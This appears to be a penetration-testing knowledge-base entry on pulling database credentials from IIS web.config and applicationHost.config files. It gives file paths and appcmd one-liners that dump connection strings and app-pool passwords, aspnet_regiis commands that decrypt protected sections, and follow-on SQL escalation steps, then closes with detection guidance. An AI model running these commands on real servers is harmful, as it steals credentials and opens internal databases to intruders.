IIS Configuration Credentials

IIS web applications store database connection strings — frequently with cleartext or reversibly-encrypted credentials — in web.config files. On a compromised web server these are often the bridge from a DMZ foothold to internal databases (MITRE ATT&CK T1552.001 — Credentials in Files).

Where to look

C:\inetpub\wwwroot\web.config
C:\inetpub\wwwroot\<app>\web.config
C:\Windows\Microsoft.NET\Framework64\<version>\Config\web.config
%windir%\system32\inetsrv\config\applicationHost.config   (root IIS config)
C:\inetpub\history\CFGHISTORY_*                            (config snapshots — old creds survive "cleanup")

Inside web.config, the <connectionStrings> block:

<connectionStrings>
  <add name="MyConnectionString"
       connectionString="Data Source=PRDSQLSRV1;Initial Catalog=Northwind;
       Persist Security Info=True;User ID=sa;Password=Password1"
       providerName="System.Data.SqlClient"/>
</connectionStrings>

Application directories aren’t always under C:\inetpub or even on C:. Find the real layout with the native IIS admin tool:

%systemroot%\system32\inetsrv\appcmd.exe list site
%systemroot%\system32\inetsrv\appcmd.exe list app /config

One-liner to dump every site’s connection strings:

for /f %i in ('%systemroot%\system32\inetsrv\appcmd list site /text:name') do %systemroot%\system32\inetsrv\appcmd list config "%i" -section:connectionstrings

When the strings are encrypted

ASP.NET’s Protected Configuration encrypts sections such as <connectionStrings> (look for <CipherData>/<CipherValue>). This protects backups and read-only access — but anyone with admin on the box can decrypt using the same native tool the developers use:

%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"
:: or against a physical path:
aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"

Automation: PowerSploit’s Get-WebConfig finds every web.config, extracts cleartext strings, and decrypts encrypted ones. Also harvest applicationHost.config directly for app-pool identities and virtual-directory credentials:

appcmd list apppool "DefaultAppPool" /text:processModel.userName
appcmd list apppool "DefaultAppPool" /text:processModel.password
appcmd list vdir "Default Web Site/" /text:password

After the grab

Web-tier connection strings usually point through the DMZ firewall at an internal SQL Server — use them with sqlcmd/mssqlclient.py, then escalate on the database (see mssql-empty-sa-xp-cmdshell, attack-ms-sql-server-powerupsql). Least-privilege accounts and zone isolation are what turn this from “database read” into “domain compromise” or not.

Detection

  • Elastic’s prebuilt rule “IIS Connection String Dumping” keys on aspnet_regiis.exe with connectionStrings + -pd/-pdf in the command line.
  • Reads of web.config/applicationHost.config by non-IIS, non-admin processes; accesses to C:\inetpub\history.
  • Follow-on SQL client execution from a web server context is near-conclusive.

Sources